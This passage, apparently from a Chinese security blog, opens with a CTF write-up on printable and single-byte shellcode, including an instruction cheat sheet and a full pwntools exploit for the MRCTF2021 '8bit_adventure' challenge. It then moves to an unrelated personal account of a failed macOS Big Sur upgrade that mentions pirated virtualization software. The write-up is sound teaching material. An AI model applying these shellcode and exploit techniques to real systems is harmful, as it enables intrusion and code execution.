sub byte ptr [rsi+0x3f], dl
""")
payload += "\x7e\x74"

此处用 push 指令对栈的相对位置进行了调整。然后通过 push pop 的组合来达到 mov 的效果,最后计算位置,将 \x7e\x74 转换成 \x0f\x05

效果:

# 转换前
0x7fff576dbb4e:	jle    0x7fff576dbbc4
# 转换后
0x7fff576dbb4e:	syscall

shellcode的艺术 中有一段关于可打印字符 shellcode 的总结,这里抄录过来。

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

关于 sub, xor, and, cmp 部分,看似挺多,其实记住源操作数和目的操作数一个是 byte ptr [reg + imm],另一个是 寄存器 就行了。

在这个基础上,手写可打印 shellcode 是很简单的。(

单字节 shellcode

MRCTF2021 8bit_adventure 官方WP复现

假如我们在让用户输入 shellcode 时,让 shellcode 的每一个字节散乱地分布在一个区域内。

s = mmap(0, 0x20000u, 7, 34, 0, 0);
memset(s, 0x90, 0x20000u);

*(s + i + rand() % 32) = input;

这样执行命令的时候只能执行单字节的 shellcode。

32 位运行模式下,对于pushpopincdec 这种单操作数的指令,它们都是单字节的,可以使用。

本题给了一段后门。

if ( v2 == 0xCDu )
{
    v1 = rand();
    *(v1 % 31 + i) = 0xCDu;
    *(v1 % 31 + 1 + i) = 0x80u;
} // disasm("\xcd\x80") int    0x80

也就是说,我们可以用栈和全部寄存器通过系统调用进行 orw

由于本题有close(0),因此首先考虑怎么写 “flag” 字符串。受单字节 shellcode 限制,无法解引用。考虑用 pipe 做一个跳板,写 pipe 读 pipe 的方式。

// demo.c
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main(){
    int fd_pipe[2];
    char buf[0x30];
    pipe(fd_pipe);
    write(fd_pipe[1],"f",1);
    write(fd_pipe[1],"l",1);
    write(fd_pipe[1],"a",1);
    write(fd_pipe[1],"g",1);
    write(fd_pipe[1],"\x00",1);
    read(fd_pipe[0],buf,0x5);
    int fd = open(buf,O_RDONLY);
    read(fd,buf,0x30);
    write(1,buf,0x30);
}

我们用 demo.c 成功 orw 出了 flag。

由此看来,只用 pushpopincdec 完全可以完成 orw。

构造 exp:

from pwn import *
import base64
context.log_level='debug'

sh=process('./8bit_adventure')

payload = asm("""
pop edi
push eax
push ebx
push ebx
push ebx
pop eax
push esp
pop ebx
""")+ \
asm("inc eax")*42 + \
"\xcd" # pipe(fd_stack)

payload += asm("""
pop esi
pop ebx
""")+\
asm("""
dec edi
""")*0x5c5+\
asm("""
push edi
pop ecx
inc edx
inc eax
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"f",1)

payload += asm("""
inc ecx
inc ecx
inc ecx
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"l",1)

payload += asm("""
dec ecx
dec ecx
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"a",1)

payload += asm("""
inc ecx
""")*0x1c+\
asm("""
inc eax
inc eax
inc eax
""")+\
'\xcd' # write(fd_pipe[1],"g",1)

payload += asm("""
dec ecx
inc eax
inc eax
inc eax
""")+\
'\xcd' # write(fd_pipe[1],"\x00",1)

payload += asm("""
push esi
pop ebx
inc eax
inc eax
pop ecx
inc edx
inc edx
inc edx
inc edx
""")+\
'\xcd' # read(fd_pipe[0],buf,0x5)

payload += asm("""
push ecx
pop ebx
push esi
push esi
pop ecx
pop edx
""")+\
'\xcd' # open("flag",0)

payload += asm("""
push ebx
push eax
pop ebx
dec eax
pop ecx
""")+\
asm("""
inc edx
""")*0x30+\
'\xcd' # read(fd_flag,buf,0x30)

payload += asm("""
push esi
pop eax
inc eax
inc eax
inc eax
inc eax
dec ebx
dec ebx
dec ebx
""")+\
'\xcd'+"\x00" # write(1,buf,0x30)

sh.sendafter('code',payload+"\x00")
sh.interactive()

未完

shellcode 还有诸多用法。例如用 mprotect 改写权限,利用 sigreturn 构造 SROP 等。做赛题时灵活运用。

日遇三险

2021年3月9日 08:00

前言

bigsur

这个图片所示的信息自从去年那次 m1 芯片发行以来就一直在我的电脑出现着。然而考虑到新系统的出现必然会引起软硬件的适配问题。所以我一直没有选择升级 macOS Big Sur。

事情因何而起?某天,少年夜行,月明天晴,了无星辰。过贵实验室,停而闲游。见学长维护服务器,学之。大惊其新系统。叙之,知诸事皆宜。软硬件皆无不适之相。乃隐隐生更新之意。

于是我选择升级 Bug Sur 体验一下很 tm 舒服的 UI。当然,升级之前的第一件事就是 时间机器备份。移动硬盘除了放 学习资料 之外,还进行了虚拟机和 mac 本体的备份。此时已经进行了 800多G 的冗余备份。所以就先清理一下。

  • 清空废纸篓

但是万万没想到啊,对于移动硬盘的抹除速度竟然如此之慢。800G 的东西起码要删了两三个小时。

  • 时间机器

时间机器的备份也是要慢到了一种极限。只是准备就要半个多小时。进行时间机器备份的时候 mac 会对它进行限流,以防止占用较多的资源。于是我们可以解除封印。

sudo sysctl debug.lowpri_throttle_enabled=0

解除封印之后只是将备份速度从 Kb 量级拉到了 Mb 量级。想要进行接近 200G 的备份,对于这种 dio 移动硬盘来说还是太勉强了一点。

备份完毕之后就直接开始升级。下载 Big Sur,安装。储存空间不够,把虚拟机放到移动硬盘里。安装,成功。

success

pwner 在驯化 Big Sur 时,所做的第一件事就是 打开虚拟机。parallels desktop 15 是不支持 Bug Sur 的。但是我们可以找一个随处可见的 parallels desktop 16 来进行替代。

崩溃

成年人的崩溃往往就在一瞬间

对,此时第一险来了。parallels desktop 16 毫无例外的翻车了。

  1. 导入以前的 ubuntu 18.04 之后,tty直接启动不起来。只会冒出一大片黄色的警告⚠️。重启,发现系统进不去。尝试输入 ls 等命令,发现进入的是一种 类似 base system 的界面。
  2. parallels desktop 启动时,明文列出来:不能联网。那我还用个羁绊?
  3. 尝试用可联网的启动器进行启动,无果。再次启动,发现没有权限打开。搜索,https://zhuanlan.zhihu.com/p/331816664,安文章方法进行脱壳,无果。无虚拟机只能当场退役,遂放弃。

此时一般有两种选择。一种是继续在 Big Sur 混下去。需要我把虚拟机弄好,并且配置一个稳定的虚拟机环境。但是从一个初始 ubuntu 开始配置的话需要极大的时间成本。另一种是回退版本。为了近期的比赛学习,我选择了第二种。

按照网上的说明,跨系统版本进行回退,需要抹除磁盘。恢复模式进入方式重启时按住 command+R ,进去之后选磁盘工具 抹除磁盘。

此时第二险来了。我抹除磁盘之后重启,企图用时间机器恢复系统。结果直接给👴干崩了。屏幕上出现了一个地球图形。官网是这么说的。

如果您无法从 macOS 恢复功能启动

如果您的 Mac 无法从内建的 macOS 恢复系统启动,它可能会尝试通过互联网从 macOS 恢复功能启动。出现这种情况时,您在启动期间将会看到旋转的地球,而不是 Apple 标志

也就是说,抹除之后重启是不对的。👴就是龙鸣。此时只能进行互联网修复。

然而互联网修复的好像并不是 mac 系统,而是 mac base。所以说此时我还是需要进行时间机器恢复,但至少我可以看到我能用时间机器恢复了。于是直接选时间机器,进行了长达好几个小时的恢复。

恢复完毕之后屏幕上直接出现一个禁止符号🚫。搜索,得出结论。

如果您的 Mac 在启动时出现一个由直线穿过的圆圈

如果出现一个由直线穿过的圆圈,则表示您的启动磁盘包含 Mac 操作系统,但它不是您的 Mac 可以使用的 macOS。

也就是说👴之前是在 Big Sur 进行的互联网恢复,给👴恢复到了 Big Sur 的 base。我还得重新安装一个 catalina 才能进行时间机器恢复。行吧,我安,我安装不行嘛。于是开始了 catalina 的安装。

第三险悄无声息地来了。Catalina 终于安装好了。我寻思这直接进行迁移助理恢复文件吧。恢复,卡住。恢复,一半,卡住。恢复,均在搜索文件那一步卡住不动。

也就是说我必须要对着这个空无一物的 catalina。到这种情况唯一的出路就是再进行一次时间机器回退。但是我此时还不知道时间机器恢复是否会像上次一样出现🚫。于是我做出决定:再恢复一次,不行直接买新电脑。

剩余时间13小时……

经历了好几个小时(大约两小时)的恢复,我成功回到了前天下午 5:01 的状态。期间经历了自我的崩溃,作业的重写,夜彳亍。

总之瞎搞是要付出代价的。我们作为盗版的受益者就应该做一些有把握的事情。千万不要因为一时的新鲜而破坏了自己的生产环境。

少年夜行,见新系统,思之。往而试之,磁盘崩。恢复不果,遂重装。然恢复缓。时间机器回退之。果。后遂无升级意。

最新动态

由于在 catalina 中出现了过几个小时自动 fork 炸系统的问题,2021.07.09 我还是升级到了 big sur。并选择妥协使用了 VMware fusion 进行虚拟机配置。

❌
❌